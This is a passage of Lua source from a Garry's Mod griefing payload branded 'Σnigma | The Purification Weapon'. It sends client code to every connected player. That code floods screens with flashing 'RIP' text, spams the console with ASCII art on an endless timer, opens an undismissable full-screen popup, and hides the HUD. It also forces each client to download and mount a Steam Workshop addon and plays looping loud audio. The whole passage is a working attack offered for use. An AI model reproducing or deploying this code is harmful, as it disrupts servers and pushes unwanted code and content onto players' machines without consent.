  444.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  445.                 "DermaLarge",
  446.                 ScrW() /2 +math.random( -2, 2 ),
  447.                 ScrH() /2 +math.random( -2, 2 ) +400,
  448.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  449.                 TEXT_ALIGN_CENTER,
  450.                 TEXT_ALIGN_CENTER,
  451.                 3,
  452.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  453.             )
  454.             draw.SimpleTextOutlined(
  455.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  456.                 "DermaLarge",
  457.                 ScrW() /2 +math.random( -2, 2 ),
  458.                 ScrH() /2 +math.random( -2, 2 ) -430,
  459.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  460.                 TEXT_ALIGN_CENTER,
  461.                 TEXT_ALIGN_CENTER,
  462.                 3,
  463.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  464.             )
  465.             draw.SimpleTextOutlined(
  466.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  467.                 "DermaLarge",
  468.                 ScrW() /2 +math.random( -2, 2 ),
  469.                 ScrH() /2 +math.random( -2, 2 ) +430,
  470.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  471.                 TEXT_ALIGN_CENTER,
  472.                 TEXT_ALIGN_CENTER,
  473.                 3,
  474.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  475.             )
  476.             draw.SimpleTextOutlined(
  477.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  478.                 "DermaLarge",
  479.                 ScrW() /2 +math.random( -2, 2 ),
  480.                 ScrH() /2 +math.random( -2, 2 ) +460,
  481.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  482.                 TEXT_ALIGN_CENTER,
  483.                 TEXT_ALIGN_CENTER,
  484.                 3,
  485.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  486.             )
  487.             draw.SimpleTextOutlined(
  488.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  489.                 "DermaLarge",
  490.                 ScrW() /2 +math.random( -2, 2 ),
  491.                 ScrH() /2 +math.random( -2, 2 ) -460,
  492.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  493.                 TEXT_ALIGN_CENTER,
  494.                 TEXT_ALIGN_CENTER,
  495.                 3,
  496.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  497.             )
  498.             draw.SimpleTextOutlined(
  499.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  500.                 "DermaLarge",
  501.                 ScrW() /2 +math.random( -2, 2 ),
  502.                 ScrH() /2 +math.random( -2, 2 ) +490,
  503.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  504.                 TEXT_ALIGN_CENTER,
  505.                 TEXT_ALIGN_CENTER,
  506.                 3,
  507.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  508.             )
  509.             draw.SimpleTextOutlined(
  510.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  511.                 "DermaLarge",
  512.                 ScrW() /2 +math.random( -2, 2 ),
  513.                 ScrH() /2 +math.random( -2, 2 ) -490,
  514.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  515.                 TEXT_ALIGN_CENTER,
  516.                 TEXT_ALIGN_CENTER,
  517.                 3,
  518.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  519.             )
  520.             draw.SimpleTextOutlined(
  521.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  522.                 "DermaLarge",
  523.                 ScrW() /2 +math.random( -2, 2 ),
  524.                 ScrH() /2 +math.random( -2, 2 ) +520,
  525.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  526.                 TEXT_ALIGN_CENTER,
  527.                 TEXT_ALIGN_CENTER,
  528.                 3,
  529.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  530.             )
  531.             draw.SimpleTextOutlined(
  532.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  533.                 "DermaLarge",
  534.                 ScrW() /2 +math.random( -2, 2 ),
  535.                 ScrH() /2 +math.random( -2, 2 ) -520,
  536.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  537.                 TEXT_ALIGN_CENTER,
  538.                 TEXT_ALIGN_CENTER,
  539.                 3,
  540.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  541.             )
  542.             draw.SimpleTextOutlined(
  543.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  544.                 "DermaLarge",
  545.                 ScrW() /2 +math.random( -2, 2 ),
  546.                 ScrH() /2 +math.random( -2, 2 ) +550,
  547.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  548.                 TEXT_ALIGN_CENTER,
  549.                 TEXT_ALIGN_CENTER,
  550.                 3,
  551.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  552.             )
  553.             draw.SimpleTextOutlined(
  554.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  555.                 "DermaLarge",
  556.                 ScrW() /2 +math.random( -2, 2 ),
  557.                 ScrH() /2 +math.random( -2, 2 ) -550,
  558.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  559.                 TEXT_ALIGN_CENTER,
  560.                 TEXT_ALIGN_CENTER,
  561.                 3,
  562.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  563.             )
  564.         end )
  565.  
  566.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  567.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  568.  
  569.         surface.PlaySound( "garrysmod/save_load4.wav" )
  570.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  571.     ]] )
  572. end )
  573.  
  574. ---CONSOLE
  575. decore = {
  576. [[
  577.        
  578.    
  579.    
  580.    
  581.    
  582.    
  583.    
  584.    
  585.    
  586.    
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  588.    
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  608.    
  609.    
  610.    
  611.    
  612.    
  613.    
  614.    
  615.    
  616.    
  617.    
  618.    
  619.                        .,,uod8B8bou,,.
  620.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  621.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  622.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  623.         !.......:!?|||||!!^^""'            ||||
  624.          !.........||||                     ||||
  625.          !.........||||  ENIGMA IS          ||||
  626.          !.........||||                     ||||
  627.          !.........||||       |_|           ||||
  628.          !.........||||       | |ere        ||||
  629.          !.........||||                     ||||
  630.          `.........||||                    ,||||
  631.           .;.......||||               _.-!!|||||
  632.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  633. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  634. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  635. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  636. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  637. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  638. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  639.  `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  640.     `........::::::::::::::::;iof688888888888888888888b.     `
  641.       `......:::::::::;iof688888888888888888888888888888b.
  642.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  643.           `..::!8888888888888888888888888888888899fT|!^"'  
  644.            `' !!988888888888888888888888899fT|!^"'
  645.                `!!8888888888888888899fT|!^"'
  646.                   `!988888888899fT|!^"'
  647.                    `!9899fT|!^"'
  648.                      `!^"'
  649. ]]
  650. ,
  651. [[
  652.        
  653.    
  654.    
  655.    
  656.    
  657.    
  658.    
  659.    
  660.    
  661.    
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  664.    
  665.    
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  667.    
  668.    
  669.    
  670.    
  671.    
  672.    
  673.    
  674.    
  675.    
  676.    
  677.    
  678.    
  679.    
  680.    
  681.    
  682.    
  683.    
  684.    
  685.    
  686.    
  687.    
  688.    
  689.    
  690.    
  691.    
  692.    
  693.                        .,,uod8B8bou,,.
  694.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  695.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  696.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  697.         !.......:!?|||||!!^^""'            ||||
  698.          !.........||||                     ||||
  699.          !.........||||                     ||||
  700.          !.........||||                     ||||
  701.          !.........||||                     ||||
  702.          !.........||||                     ||||
  703.          !.........||||                     ||||
  704.          `.........||||                    ,||||
  705.           .;.......||||               _.-!!|||||
  706.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  707. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  708. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  709. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  710. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  711. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  712. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  713.  `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  714.     `........::::::::::::::::;iof688888888888888888888b.     `
  715.       `......:::::::::;iof688888888888888888888888888888b.
  716.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  717.           `..::!8888888888888888888888888888888899fT|!^"'  
  718.            `' !!988888888888888888888888899fT|!^"'
  719.                `!!8888888888888888899fT|!^"'
  720.                   `!988888888899fT|!^"'
  721.                    `!9899fT|!^"'
  722.                      `!^"'
  723. ]]
  724. ,
  725. [[
  726.        
  727.    
  728.    
  729.    
  730.    
  731.    
  732.    
  733.    
  734.    
  735.    
  736.    
  737.    
  738.    
  739.    
  740.    
  741.    
  742.    
  743.    
  744.    
  745.    
  746.    
  747.    
  748.    
  749.    
  750.    
  751.    
  752.    
  753.    
  754.    
  755.    
  756.    
  757.    
  758.    
  759.    
  760.    
  761.    
  762.    
  763.    
  764.    
  765.    
  766.    
  767.                        .,,uod8B8bou,,.
  768.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  769.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  770.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  771.         !.......:!?|||||!!^^""'            ||||
  772.          !.........||||                     ||||
  773.          !.........||||  It's Too Glitchy   ||||
  774.         !.........||||                     ||||
  775.         !.........||||       .   .         ||||
  776.         !.........||||         -           ||||
  777.         !.........||||                     ||||
  778.         `.........||||   HELP ME PLEASE   ,||||
  779.          .;.......||||               _.-!!|||||
  780.   .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  781. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  782. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  783. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  784. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  785. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  786. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  787.  `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  788.    `........::::::::::::::::;iof688888888888888888888b.     `
  789.      `......:::::::::;iof688888888888888888888888888888b.
  790.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  791.          `..::!8888888888888888888888888888888899fT|!^"'  
  792.            `' !!988888888888888888888888899fT|!^"'
  793.                `!!8888888888888888899fT|!^"'
  794.                  `!988888888899fT|!^"'
  795.                     `!9899fT|!^"'
  796.                      `!^"'
  797. ]]
  798. ,
  799. [[
  800.        
  801.    
  802.    
  803.    
  804.    
  805.    
  806.    
  807.    
  808.    
  809.    
  810.    
  811.    
  812.    
  813.    
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  815.    
  816.    
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  822.    
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  824.    
  825.    
  826.    
  827.    
  828.    
  829.    
  830.    
  831.    
  832.    
  833.    
  834.    
  835.    
  836.    
  837.    
  838.    
  839.    
  840.    
  841.                       .,,uod8B8bou,,.
  842.              ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  843.         ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  844.         !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  845.          !.......:!?|||||!!^^""'            ||||
  846.         !.........||||                     ||||
  847.         !.........||||  HELP ME !!!        ||||
  848.         !.........||||                     ||||
  849.         !.........||||      I NEED HELP !  ||||
  850.         !.........||||                     ||||
  851.         !.........||||           ...       ||||
  852.         `.........||||                    ,||||
  853.          .;.......||||               _.-!!|||||
  854.   .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  855. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  856. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  857. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  858. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  859. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  860. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  861.  `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  862.    `........::::::::::::::::;iof688888888888888888888b.     `
  863.      `......:::::::::;iof688888888888888888888888888888b.
  864.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  865.          `..::!8888888888888888888888888888888899fT|!^"'  
  866.            `' !!988888888888888888888888899fT|!^"'
  867.                `!!8888888888888888899fT|!^"'
  868.                  `!988888888899fT|!^"'
  869.                     `!9899fT|!^"'
  870.                      `!^"'
  871. ]]
  872. ,
  873. [[
  874.        
  875.    
  876.    
  877.    
  878.    
  879.    
  880.    
  881.    
  882.    
  883.    
  884.    
  885.    
  886.    
  887.    
  888.    
  889.    
  890.    
  891.    
  892.    
  893.    
  894.    
  895.    
  896.    
  897.    
  898.    
  899.    
  900.    
  901.    
  902.    
  903.    
  904.    
  905.    
  906.    
  907.    
  908.    
  909.    
  910.    
  911.    
  912.    
  913.    
  914.    
  915.                       .,,uod8B8bou,,.
  916.              ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  917.         ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  918.         !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  919.          !.......:!?|||||!!^^""'            ||||
  920.         !.........||||                     ||||
  921.         !.........||||  What Is Love       ||||
  922.         !.........||||   Baby Don' Hurt Me ||||
  923.          !.........||||      No More        ||||
  924.          !.........||||                     ||||
  925.          !.........||||    ♪ ♫   ♪ ♫  ♪♫     ||||
  926.          `.........||||                    ,||||
  927.           .;.......||||               _.-!!|||||
  928.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  929. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  930. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  931. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  932. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  933. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  934. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  935.  `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  936.     `........::::::::::::::::;iof688888888888888888888b.     `
  937.       `......:::::::::;iof688888888888888888888888888888b.
  938.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  939.           `..::!8888888888888888888888888888888899fT|!^"'  
  940.            `' !!988888888888888888888888899fT|!^"'
  941.                `!!8888888888888888899fT|!^"'
  942.                   `!988888888899fT|!^"'
  943.                    `!9899fT|!^"'
  944.                      `!^"'
  945. ]]
  946. }
  947.  
  948. function decorationconsole()
  949.     print(Color( 0, 0, 0 ), table.Random(decore))
  950. end
  951. -- Console Spam
  952. for k, v in pairs( player.GetAll() ) do
  953.  timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  954. end
  955.  
  956. ----WEAPON Color
  957. hook.Add("Think","somewhere_over_the_rainbow",function()
  958.     local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  959.     for _, v in ipairs(player.GetAll()) do
  960.         v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  961.     end
  962. end)
  963.  
  964. ---TEXT SPAM VISUEL
  965. lol:PushAction( 5, function( pPlayer )
  966.     lol:SendLua( pPlayer, [[
  967.     enigma = vgui.Create("DFrame")
  968.     enigma:SetPos(0,0)
  969.     enigma:SetSize(ScrW(), ScrH())
  970.     enigma:ShowCloseButton(false)
  971.     enigma:SetTitle("")
  972.     enigma:SetVisible(true)
  973.     enigma:MakePopup()
  974.     enigma:SetDraggable(false)
  975.     enigma.Paint = function(self, w, h)
  976.         draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  977.         draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  978.         draw.DrawText( "Σ", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  979.         draw.DrawText( "Σ", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  980.         draw.DrawText( "Σ", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  981.         draw.DrawText( "Σ", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  982.         draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  983.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  984.         draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  985.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  986.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  987.         draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  988.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  989.         draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  990.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  991.         draw.DrawText( "RIP ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  992.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  993.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  994.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 ) 
  995.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  996.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  997.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  998.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  999.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  1000.     end
  1001.     ]] )
  1002. end )
  1003.  
  1004. ---PARTICULE
  1005.  
  1006.     lol:SendLua( pPlayer, [=[
  1007. steamworks.FileInfo(1618885873,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)
  1008.  
  1009. timer.Simple(5, function()
  1010.  
  1011.     game.AddParticles( "particles/enigma.pcf" )
  1012.  
  1013.     PrecacheParticleSystem("enigma")
  1014.  
  1015.     for i = 1, 10 do
  1016.         ParticleEffectAttach("enigma", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
  1017.     end
  1018.  
  1019.     local ragtbl = {}
  1020.     for i=1,20 do
  1021.         ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  1022.         ragtbl[i]:SetNoDraw( false )
  1023.         ragtbl[i]:DrawShadow( true )
  1024.     end
  1025.  
  1026.     local function GetWebMat( strURL )
  1027.         return g_]=].. lol.m_strImageGlobalVar.. [=[[strURL]
  1028.     end
  1029.     local uwu = {}
  1030.  
  1031.     hook.Add("HUDPaint", "okay",function()
  1032.         for k,v in pairs(uwu) do
  1033.             v()
  1034.         end
  1035.     end)
  1036.  
  1037.     SOUNDSTART_CTP = false
  1038.     OZJFOZJCEZIO = true
  1039.  
  1040.  
  1041.     sound.PlayURL(" ","mono noblock noplay",function(s)
  1042.         if not s then return end
  1043.         if SOUNDSTART_CTP then s:Stop() return end
  1044.         SOUNDSTART_CTP = true
  1045.         s:SetVolume(5 )
  1046.         s:Play()
  1047.         s:EnableLooping( true )
  1048.  
  1049.         local ragtbl = {}
  1050.  
  1051.         uwu["CoolEffect"] = function()
  1052.  
  1053.  
  1054.  
  1055.             local tbl = {}
  1056.             s:FFT(tbl,FFT_2048)
  1057.  
  1058.  
  1059.             xpcall(function()
  1060.                 local fal = 0
  1061.             for i=4,6 do
  1062.                 fal = fal + tbl[i]
  1063.             end
  1064.  
  1065.             if fal > 0.8 then
  1066.  
  1067.                 local oneid = "newhud"..math.random(100, 300).."id"
  1068.  
  1069.                 hook.Add( "HUDPaint", oneid, function()
  1070.                     surface.SetDrawColor( 255, 255, 255, 255 )
  1071.  
  1072.                     if GetWebMat( "hud2" ) then -- lui
  1073.                         surface.SetMaterial( GetWebMat("hud2")[1] )
  1074.                         surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  1075.                     end
  1076.  
  1077.                 end )
  1078.  
  1079.                 timer.Simple(0.2, function()
  1080.                     hook.Remove( "HUDPaint", oneid)
  1081.                 end)
  1082.  
  1083.             end
  1084.             end,function()
  1085.             end)
  1086.  
